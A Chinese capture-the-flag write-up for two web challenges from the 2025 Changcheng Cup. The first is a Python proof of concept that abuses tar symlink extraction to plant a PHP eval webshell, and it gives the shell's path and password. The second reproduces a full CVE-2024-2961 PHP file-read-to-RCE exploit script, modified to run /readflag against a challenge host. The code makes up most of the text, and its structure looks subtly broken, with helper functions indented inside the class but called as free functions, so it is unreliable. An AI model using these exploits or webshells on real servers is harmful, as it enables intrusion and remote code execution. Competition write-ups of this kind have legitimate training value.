第五届长城杯 2025 Web 竞赛解题报告

题目隐藏知识

关键点：tar 解压符号链接时，默认会保留符号链接（不会跟随链接写入）

关键点：tar 默认在解压文件时，如果路径中包含符号链接目录，会'跟随'符号链接，把文件写入到符号链接指向的真实目录

此时可以利用 tar 解包 + 符号链接 来修改文件保存位置。

(符号链接类似快捷方式)

step1:

• 在 /tmp 目录下创建一个符号链接文件 my_link
• 该符号链接指向目标 Web 目录：/var/www/html
• 解压后，/tmp/my_link 就等价于 /var/www/html

step2:

• 创建 webshell 文件的 tar 包
• 路径设置为 my_link/myshell.php
• 当服务器在 /tmp 解压时：
  • 会尝试把文件写入 /tmp/my_link/myshell.php
  • 由于 my_link 是指向 /var/www/html 的符号链接
  • 实际写入位置是 → /var/www/html/myshell.php

实现了写入 webshell 的操作。

生成的 tar 的方法，可以在自己的 Linux 上等效目录上创建对应的链接然后压缩为 tar 包上传。

这里提供 Python 生成脚本：

poc

import os
import tarfile
from io import BytesIO

# === 参数设定区 ===
payload_data = b'<?php phpinfo();@eval($_POST["fly233"]); ?>'
payload_filename = "myshell.php"

# 符号链接配置
link_alias = "my_link"
destination_path = "/var/www/html"

# === 核心逻辑区 ===

# 构建符号链接 tar 包
with tarfile.open("step1.tar", mode="w") as archive:
    link_entry = tarfile.TarInfo(name=link_alias)
    link_entry.type = tarfile.SYMTYPE
    link_entry.linkname = destination_path
    archive.addfile(link_entry)

print("✔ step1.tar 生成完毕")

# 利用前面创建的符号链接路径构造写入目标
target_in_archive = os.path.join(link_alias, payload_filename)

# 构建包含 Webshell 的 tar 包
with tarfile.open("step2.tar", mode="w") as archive:
    file_entry = tarfile.TarInfo(name=target_in_archive)
    file_entry.size = len(payload_data)
    archive.addfile(file_entry, BytesIO(payload_data))

print("✔ step2.tar 生成完毕")

然后按照顺序，先上传 step1.tar，然后上传 step2.tar。webshell 就会创建成功。

• 路径： http://url/myshell.php
• 密码： fly233

特别注意

需要在目标对应的操作系统上运行，可能是内部 tar 机制不同。在 Windows 上运行生成的 tar 包可能达不到预期效果。

在根目录拿到 Flag。

SeRce

非常经典的 LFI 到 RCE 的实现，涉及 CVE-2024-2961 漏洞。

针对这道题，只写具体的操作步骤。

首先去 GitHub 下载 exp 脚本。

因为脚本比较长，文章末尾给出这道题对应的修改好的脚本代码。

需要进行修改的地方有：

• URL 部分，而且因为这道题需要传入 exp 参数，所以要写全。http://url/?exp=1 (任意值即可，只需要序列化还原值不变即可)
• 文件包含的路径参数。这道题和脚本都是 POST 传参，所以方法不需要修改，只需要把参数名字改为 filetoread
• 文件包含内容返回值的正则匹配。这道题和脚本也一样都是 File Contents: 后边的内容
• 你要执行的命令

大概都在文件开头的位置：

然后就可以实现 RCE，通过重定向命令结果到文件，然后通过普通的文件包含读取执行结果。

跑通一次之后，后面只需要每次改动命令就行了。

执行 ls /后发现，根目录下有 readflag 脚本。

然后就是执行 readflag，拿到 Flag。

本题脚本

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
from __future__ import annotations
import base64
import zlib
from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from pwn import ELF
from ten import *

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

class Remote:
    """A helper class to send the payload and download files. The logic of the exploit is always the same, but the exploit needs to know how to download files (/proc/self/maps and libc) and how to send the payload. The code here serves as an example that attacks a page that looks like:
    ```php
    <?php $data = file_get_contents($_POST['file']); echo "File contents: $data";
    ```
    Tweak it to fit your target, and start the exploit.
    """
    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response."""
        return self.session.post(self.url, data={"filetoread": path})

    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file."""
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"File Contents: (.*)", flags=re.S).group(1)
        return base64.decode(data)

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad", "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""
    url: str="https://eci-2zeet6r5ki0tcx91i38i.cloudeci1.ichunqiu.com:80/?exp=1"
    command: str = "/readflag > /tmp/flag"
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
        """Checks whether the target is reachable and properly allows for the various wrappers and filters that the exploit needs."""
        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result

        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"
        result = safe_download(path)
        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
        msg_info("The [i]data://[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")
        msg_info("The [i]php://filter/[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")
        msg_info("The [i]zlib[/] extension is enabled")
        msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)

    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.get_file("/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b"
            r".*"
            r"\s([-rwx]{3}[ps])\s"
            r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    current = Region(start, stop, permissions, path)
                    regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")
        self.log.info(f"Got {len(regions)} memory regions")
        return regions

    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()
        LIBC_FILE = "/dev/shm/cnext-libc"
        # PHP's heap
        self.info["heap"] = self.heap or self.find_main_heap(regions)
        # Libc
        libc = self._get_region(regions, "libc-", "libc.so")
        self.download_file(libc.path, LIBC_FILE)
        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")
        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p" and region.size >= HEAP_SIZE and region.stop & (HEAP_SIZE-1) == 0 and region.path in ("", "[anon:zend_alloc]")
        ]
        if not heaps:
            failure("Unable to find PHP's main heap in memory")
        first = heaps[0]
        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")
        return first

    def run(self) -> None:
        self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        """On each step of the exploit, a filter will process each chunk one after the other. Processing generally involves making some kind of operation either on the chunk or in a destination chunk of the same size. Each operation is applied on every single chunk; you cannot make PHP apply iconv on the first 10 chunks and leave the rest in place. That's where the difficulties come from. Keep in mind that we know the address of the main heap, and the libraries. ASLR/PIE do not matter here. The idea is to use the bug to make the freelist for chunks of size 0x100 point lower. For instance, we have the following free list:
        ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00
        By triggering the bug from chunk ..900, we get:
        ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???
        That's step 3. Now, in order to control the free list, and make it point whereever we want, we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so, we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48. That's step 2. Now, if we were to perform step2 an then step3 without anything else, we'd have a problem: after step2 has been processed, the free list goes bottom-up, like:
        0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900
        We need to go the other way around. That's why we have step 1: it just allocates chunks. When they get freed, they reverse the free list. Now step2 allocates in reverse order, and therefore after step2, chunks are in the correct order.
        Another problem comes up. To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT. Since step2 creates chunks that contain pointers and pointers are generally not UTF-8, we cannot afford to have that conversion happen on the chunks of step2. To avoid this, we put the chunks in step2 at the very end of the chain, and prefix them with `0\n`. When dechunked (right before the iconv), they will "disappear" from the chain, preserving them from the character set conversion and saving us from an unwanted processing error that would stop the processing chain.
        After step3 we have a corrupted freelist with an arbitrary pointer into it. We don't know the precise layout of the heap, but we know that at the top of the heap resides a zend_mm_heap structure. We overwrite this structure in two ways. Its free_slot[] array contains a pointer to each free list. By overwriting it, we can make PHP allocate chunks whereever we want. In addition, its custom_heap field contains pointers to hook functions for emalloc, efree, and erealloc (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and then overwrite the use_custom_heap flag to make PHP use these function pointers instead. We can now do our favorite CTF technique and get a call to system(<chunk>). We make sure that the "system" command kills the current process to avoid other system() calls with random chunk data, leading to undefined behaviour. The pad blocks just "pad" our allocations so that even if the heap of the process is in a random state, we still get contiguous, in order chunks for our exploit. Therefore, the whole process described here CANNOT crash. Everything falls perfectly in place, and nothing can get in the middle of our allocations."""
        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
        CS = 0x100
        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)
        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)
        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)
        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)
        step3_size = CS
        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)
        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)
        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)
        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000, 0, # free_slot
            0, 0, ADDR_CUSTOM_HEAP, # 0x18
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ADDR_HEAP, # 0x140
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            size=CS,
        )
        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC,
            size=0x18
        )
        step4_use_custom_heap_size = 0x140
        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"
        assert (
            len(COMMAND) <= step4_use_custom_heap_size ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
        pages = (
            step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * self.pad + step1 * 3 + step2_write_ptr + step2 * 2
        )
        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"
        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",
            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",
            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",
            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",
            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"
        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()
        try:
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass
        msg_print()
        if not self.sleep:
            msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
        msg_print()

    def compress(data) -> bytes:
        """Returns data suitable for `zlib.inflate`."""
        # Remove 2-byte header and 4-byte checksum
        return zlib.compress(data, 9)[2:-4]

    def b64(data: bytes, misalign=True) -> bytes:
        payload = base64.encode(data)
        if not misalign and payload.endswith("="):
            raise ValueError(f"Misaligned: {data}")
        return payload.encode()

    def compressed_bucket(data: bytes) -> bytes:
        """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
        return chunked_chunk(data, 0x8000)

    def qpe(data: bytes) -> bytes:
        """Emulates quoted-printable-encode."""
        return "".join(f"={x:02x}" for x in data).upper().encode()

    def ptr_bucket(*ptrs, size=None) -> bytes:
        """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
        if size is not None:
            assert len(ptrs) * 8 == size
        bucket = b"".join(map(p64, ptrs))
        bucket = qpe(bucket)
        bucket = chunked_chunk(bucket)
        bucket = chunked_chunk(bucket)
        bucket = chunked_chunk(bucket)
        bucket = compressed_bucket(bucket)
        return bucket

    def chunked_chunk(data: bytes, size: int = None) -> bytes:
        """Constructs a chunked representation of the given chunk. If size is given, the chunked representation has size `size`. For instance, `ABCD` with size 10 becomes:
        `0004\nABCD\n`.
        """
        # The caller does not care about the size: let's just add 8, which is more than
        # enough
        if size is None:
            size = len(data) + 8
        keep = len(data) + len(b"\n\n")
        size = f"{len(data):x}".rjust(size - keep, "0")
        return size.encode() + b"\n" + data + b"\n"

@dataclass
class Region:
    """A memory region."""
    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start

Exploit()